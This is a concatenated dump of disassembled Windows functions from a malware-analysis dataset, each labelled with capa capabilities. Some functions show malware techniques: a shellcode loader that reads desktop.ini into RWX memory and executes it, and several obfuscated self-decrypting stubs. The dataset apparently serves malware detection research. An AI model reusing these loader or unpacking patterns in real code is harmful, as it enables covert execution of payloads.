joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1007ee54
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x100d1a90]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1007ee97
cmp word [esi], dx
jne 0x1007ee97
or byte [edi + eax + 0x28], 4
jmp 0x1007ee9c
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x1007efef
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x1007efcf
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x1007eede
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x1007ef14
cmp eax, edx
jae 0x1007ef20
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x1007eeb6
jmp 0x1007efef
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1007efcb
cmp dword [ebp - 0x14], 0
je 0x1007efcb
mov eax, dword [ebx*4 + 0x100d1a90]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x1007efa3
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x1007ef6c
mov word [esi], cx
jmp 0x1007ef9f
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x100d1a90]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x100d1a90]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x100d1a90]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x1007efef
pop ebx
cmp word [ebp - 4], bx
jne 0x1007efb4
cmp esi, dword [ebp + 0xc]
jne 0x1007efb4
mov word [esi], bx
jmp 0x1007efec
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.1007eca4
add esp, 0x10
cmp word [ebp - 4], bx
je 0x1007efef
push 0xd
jmp 0x1007efe8
mov ecx, dword [ebx*4 + 0x100d1a90]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1007efe6
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x1007efef
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1007f871
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1007f7ed
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1007f9e9
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1007f9e9
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1007f998
jg 0x1007f8ca
test eax, eax
je 0x1007f98e
push 1
push 0x1000
call fcn.100702ef
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1007f8f0
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x1007f985
push 0x8000
push ebx
call fcn.1007f71e
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1007f91c
jg 0x1007f917
cmp ecx, 0x1000
jb 0x1007f91c
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.1007d8e5
add esp, 0x10
cmp eax, 0xffffffff
je 0x1007f961
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1007f917
jl 0x1007f948
test ecx, ecx
jne 0x1007f909
push dword [ebp - 0xc]
push ebx
call fcn.1007f71e
push esi
call fcn.1006e3d8
add esp, 0xc
xor edi, edi
jmp 0x1007f9fa
cmp byte [edi + 0x24], 0
je 0x1007f978
cmp dword [edi + 0x20], 5
jne 0x1007f978
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1007f983
mov edi, dword [edi + 0x18]
jmp 0x1007f985
xor edi, edi
push esi
call fcn.1006e3d8
pop ecx
jmp 0x1007f9fa
test ecx, ecx
jg 0x1007f95a
jl 0x1007f998
test eax, eax
jae 0x1007f95a
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1007eca4
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1007f9bb
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x1007f95a
jmp 0x1007f9f2
push ebx
call fcn.1007b93a
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1007f95a
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x1007f9fa
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x1007f9f7
mov edi, dword [edi + 0x18]
jmp 0x1007f9fa
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.1007eca4
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
xor eax, eax
push edi
mov word [0x10003036], ax
xor edi, edi
movzx ecx, word [eax + 0x1000202c]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x1000115b
push 1
push edi
push edi
mov ebx, 0x10003030
push ebx
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x1000118b
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ebx
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x100011f1
push edi
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x405c83
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x4345c0
call fcn.004339e0
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
call fcn.00407553
mov esi, dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 1
je 0x405caf
push edi
call esi
cmp eax, 0xffffffff
jne 0x405cf1
test ebx, ebx
je 0x405cee
lea ecx, [ebp - 0x18]
call fcn.004028e9
and dword [ebp - 4], 0
cmp ebx, 1
setne al
push eax
lea edx, [ebp - 0x18]
mov ecx, edi
call fcn.0040765c
test al, al
push dword [ebp - 0x18]
je 0x405ce8
call esi
mov esi, eax
push dword [ebp - 0x18]
call fcn.00401abd
pop ecx
mov eax, esi
jmp 0x405cf1
call fcn.00401abd
pop ecx
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x406306
Capabilities:
Get disk information

Disassembly:
mov eax, 0x434664
call fcn.004339e0
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
call fcn.0041c900
mov edi, dword [sym.imp.kernel32.dll_GetLogicalDriveStringsW]
push 0
push 0
call edi
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x14], ebx
je 0x4063d4
mov eax, SysReAllocString
cmp ebx, eax
ja 0x406342
mov eax, ebx
add eax, eax
push eax
call fcn.004066d0
mov esi, eax
pop ecx
mov dword [ebp - 0x20], esi
and dword [ebp - 4], 0
push esi
push ebx
call edi
mov ebx, eax
xor edi, edi
cmp ebx, edi
mov dword [ebp - 0x10], ebx
je 0x4063cd
cmp ebx, dword [ebp - 0x14]
ja 0x4063cd
lea ecx, [ebp - 0x2c]
call fcn.004028e9
test ebx, ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], edi
jbe 0x4063b5
push 2
xor eax, eax
pop ebx
cmp word [esi + ebx - 2], 0
jne 0x4063aa
add eax, esi
lea ecx, [ebp - 0x2c]
push eax
call fcn.004066d0
mov ecx, dword [ebp - 0x18]
lea eax, [edi + 1]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x1c], ebx
call fcn.0040150c
mov eax, ebx
inc edi
inc ebx
inc ebx
cmp edi, dword [ebp - 0x10]
jb 0x406380
mov ebx, dword [ebp - 0x10]
push dword [ebp - 0x2c]
call fcn.00401abd
push esi
call fcn.00401abd
cmp dword [ebp - 0x14], ebx
pop ecx
pop ecx
sete al
jmp 0x4063d6
push esi
call fcn.00401abd
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x4066d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x4066df
pop dword [ebp - 0x30]
mov eax, 0xc165089a
add eax, 0x3edb5e45
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x3c136
push 0
mov eax, 0xd85f1a81
add eax, 0x27e465af
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x92c22788
sub ecx, 0x92c1d9dc
mov ebx, eax
mov edx, 0xb5bc2077
sub edx, 0xb5775a77
add edx, dword [ebp - 0x30]
mov edi, 0x537c06dd
add dword [ebp - 0x24], 0xd41c511b
mov esi, dword [edx]
sub esi, edi
xor dword [ebp - 0xc], edx
mov dword [ebx], esi
sub dword [ebp - 0x20], ebx
add ebx, 4
add edx, 0x95574984
sub edx, 0x95574980
loop 0x406738
add eax, 0x12983
mov ebx, eax
add eax, 5
mov ecx, 0x12828803
sub ecx, 0x12428803
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x40987f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40988e
pop dword [ebp - 0x30]
mov eax, 0x6681930c
add eax, 0x99bf0582
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x3feab
push 0
mov eax, 0xc0967db5
add eax, 0x3fabd463
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x500f
mov edx, eax
mov ebx, 0x435400
add ebx, dword [ebp - 0x30]
mov edi, 0xb4d06fc0
sub dword [ebp - 0x2c], edx
mov esi, dword [ebx]
sub dword [ebp - 0x14], esi
xor esi, edi
xor dword [ebp - 0x2c], edx
mov dword [edx], esi
sub dword [ebp - 0x24], 0xaebe32
add edx, 4
add ebx, 4
loop 0x4098db
add eax, 0x1330f
mov ebx, eax
add eax, 0x7dc2205a
add eax, 0x823ddfab
mov ecx, 0x6b8bb8c
add ecx, 0xf9874474
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x404620
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
xor edx, edx
call fcn.0040788c
test esi, esi
jne 0x404658
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004079c8
jmp 0x404676
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00404504
mov edi, eax
test esi, esi
je 0x404676
cmp dword [ebx], 0
je 0x404676
dec esi
jmp 0x40465f
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x4046a8
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x57f008], 0x8088405
inc edx
mov dword [ebx + 0x57f008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4046c4
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x57f008], 0x8088405
inc edx
mov dword [ebx + 0x57f008], edx
fld qword [ebx + 0x57f798]
push 0
push edx
fild qword [esp]
add esp, 8
fmulp st(1)
pop ebx
ret

Function at 0x406604
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x588050], 0
je 0x406665
cmp word [0x58832c], 0xd7b2
jne 0x40662d
cmp dword [0x588334], 0
jbe 0x40662d
mov eax, 0x588328
call dword [0x588344]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x406690
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x57f030], 0
jne 0x406681
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x406810
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x57f038], 0
je 0x406836
mov edx, esi
mov eax, ebx
call dword [0x57f038]
jmp 0x406845
mov eax, 8
call fcn.00404240
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x588051], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x4067d8
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x4099e4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe94
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x164], ecx
mov dword [ebp - 0x168], ecx
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0x409b4b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.0040788c
cmp si, word [0x57f808]
jb 0x409a7e
cmp si, word [0x57fa08]
ja 0x409a7e
mov edi, 0x40
xor eax, eax
mov dword [ebp - 0xc], eax
cmp edi, dword [ebp - 0xc]
jb 0x409a7e
mov ebx, dword [ebp - 0xc]
add ebx, edi
shr ebx, 1
cmp si, word [ebx*8 + 0x57f808]
jae 0x409a58
mov edi, ebx
dec edi
jmp 0x409a79
cmp si, word [ebx*8 + 0x57f808]
jbe 0x409a68
inc ebx
mov dword [ebp - 0xc], ebx
jmp 0x409a79
mov edx, dword [ebp - 8]
mov eax, dword [ebx*8 + 0x57f80c]
call fcn.004098f4
jmp 0x409a7e
cmp edi, dword [ebp - 0xc]
jae 0x409a42
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x409b2d
push 2
movzx eax, si
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x409b2d
push 0x55
lea eax, [ebp - 0xb6]
push eax
push 0x59
movzx ebx, si
push ebx
call sub.kernel32.dll_GetLocaleInfoW
push 0x55
lea eax, [ebp - 0x160]
push eax
push 0x5a
push ebx
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x164]
lea edx, [ebp - 0xb6]
mov ecx, 0x55
call fcn.00407a9c
push dword [ebp - 0x164]
push 0x409b68
lea eax, [ebp - 0x168]
lea edx, [ebp - 0x160]
mov ecx, 0x55
call fcn.00407a9c
push dword [ebp - 0x168]
push 0x409b78
lea eax, [ebp - 0x16c]
lea edx, [ebp - 0xb6]
mov ecx, 0x55
call fcn.00407a9c
push dword [ebp - 0x16c]
mov eax, dword [ebp - 8]
mov edx, 5
call fcn.00407e54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409b52
lea eax, [ebp - 0x16c]
mov edx, 3
call fcn.00407884
ret
Function at 0x409d04
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409e09
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x58ab58
call sub.kernel32.dll_EnterCriticalSection
cmp bx, word [0x58ab70]
jne 0x409d50
mov eax, esi
mov edx, 0x58ab74
mov ecx, 0x55
call fcn.00407a9c
push 0x58ab58
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x409df3
push 0x58ab58
call sub.kernel32.dll_LeaveCriticalSection
mov eax, esi
xor edx, edx
call fcn.0040788c
push 2
movzx eax, bx
push eax
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x409dc1
cmp byte [0x58ab54], 0
je 0x409d86
mov edx, esi
mov eax, ebx
call fcn.00409be4
jmp 0x409dc1
mov edx, esi
mov eax, ebx
call fcn.004099e4
call sub.kernel32.dll_GetSystemDefaultUILanguage
cmp bx, ax
je 0x409dc1
cmp dword [esi], 0
je 0x409daa
mov eax, esi
mov edx, 0x409e24
call fcn.00407cb0
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 4]
call fcn.004099e4
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.00407cb0
push 0x58ab58
call sub.kernel32.dll_EnterCriticalSection
mov word [0x58ab70], bx
push 0xaa
mov eax, dword [esi]
call fcn.00407918
push eax
push 0x58ab74
call sub.kernel32.dll_lstrcpynW
push 0x58ab58
call sub.kernel32.dll_LeaveCriticalSection
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409e10
lea eax, [ebp - 4]
call fcn.0040787c
ret
Function at 0x40a048
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00407874
xor eax, eax
push ebp
push 0x40a22d
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x40a088
push 0x105
lea eax, [ebp - 0x21a]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
jmp 0x40a0a2
push 0x105
mov eax, dword [ebp - 4]
call fcn.00407918
push eax
lea eax, [ebp - 0x21a]
push eax
call sub.kernel32.dll_lstrcpynW
cmp word [ebp - 0x21a], 0
je 0x40a217
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40a23c
push SHChangeNotifyRegister
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40a131
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40a23c
push reloc.shell32.dll_SHChangeNotifyRegister
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40a131
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40a270
push SHChangeNotifyRegister
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x40a131
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x40a2a4
push SHChangeNotifyRegister
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x40a217
xor eax, eax
push ebp
push 0x40a210
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.00409e4c
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40a1a0
mov eax, dword [ebp - 0x10]
call fcn.00404240
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00407a48
jmp 0x40a1eb
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0x40a2e4
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x40a1eb
mov eax, dword [ebp - 0x10]
call fcn.00404240
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push 0x40a2e4
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00407a48
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a217
cmp dword [ebp - 8], 0
je 0x40a206
mov eax, dword [ebp - 8]
call fcn.0040425c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a234
lea eax, [ebp - 4]
call fcn.0040787c
ret
Function at 0x40a4f8
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x228], ebx
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x220], ebx
mov esi, ecx
mov dword [ebp - 0x21c], edx
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x218]
call fcn.00407874
mov eax, dword [ebp - 0x21c]
call fcn.00407874
lea edi, [ebp - 0x210]
xor eax, eax
push ebp
push 0x40a697
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
xor edx, edx
call fcn.0040788c
xor ebx, ebx
push 0x105
mov eax, dword [ebp - 0x21c]
call fcn.00407918
push eax
lea eax, [ebp - 0x20a]
push eax
call sub.kernel32.dll_lstrcpynW
lea eax, [ebp - 0x20a]
push eax
call sub.kernel32.dll_lstrlenW
add eax, eax
lea edx, [ebp - 0x20a]
add eax, edx
sub eax, 2
mov dword [edi], eax
jmp 0x40a598
sub dword [edi], 2
mov eax, dword [edi]
cmp word [eax], 0x2e
je 0x40a5aa
lea eax, [ebp - 0x20a]
cmp eax, dword [edi]
jne 0x40a595
lea eax, [ebp - 0x20a]
cmp eax, dword [edi]
je 0x40a663
add dword [edi], 2
mov eax, dword [edi]
mov word [eax], 0
lea eax, [ebp - 0x20a]
mov edx, dword [edi]
sub edx, eax
sar edx, 1
jns 0x40a5d3
adc edx, 0
mov eax, 0x105
sub eax, edx
mov dword [ebp - 0x214], eax
lea edx, [ebp - 0x220]
mov eax, dword [ebp - 0x218]
call fcn.0040a048
cmp dword [ebp - 0x220], 0
je 0x40a60b
push ebp
mov eax, dword [ebp - 0x220]
call fcn.0040a3ec
pop ecx
mov ebx, eax
jmp 0x40a663
push ebp
call sub.kernel32.dll_GetUserDefaultUILanguage
lea edx, [ebp - 0x224]
call fcn.00409d04
mov eax, dword [ebp - 0x224]
call fcn.0040a3ec
pop ecx
mov ebx, eax
test bl, bl
jne 0x40a656
cmp byte [0x58ab54], 0
jne 0x40a656
push ebp
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea edx, [ebp - 0x228]
call fcn.00409d04
mov eax, dword [ebp - 0x228]
call fcn.0040a3ec
pop ecx
mov ebx, eax
test bl, bl
jne 0x40a663
push ebp
call fcn.0040a49c
pop ecx
mov ebx, eax
test bl, bl
je 0x40a679
mov eax, esi
lea edx, [ebp - 0x20a]
mov ecx, 0x105
call fcn.00407a9c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a69e
lea eax, [ebp - 0x228]
mov edx, 5
call fcn.00407884
ret

Function at 0x40af0c
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret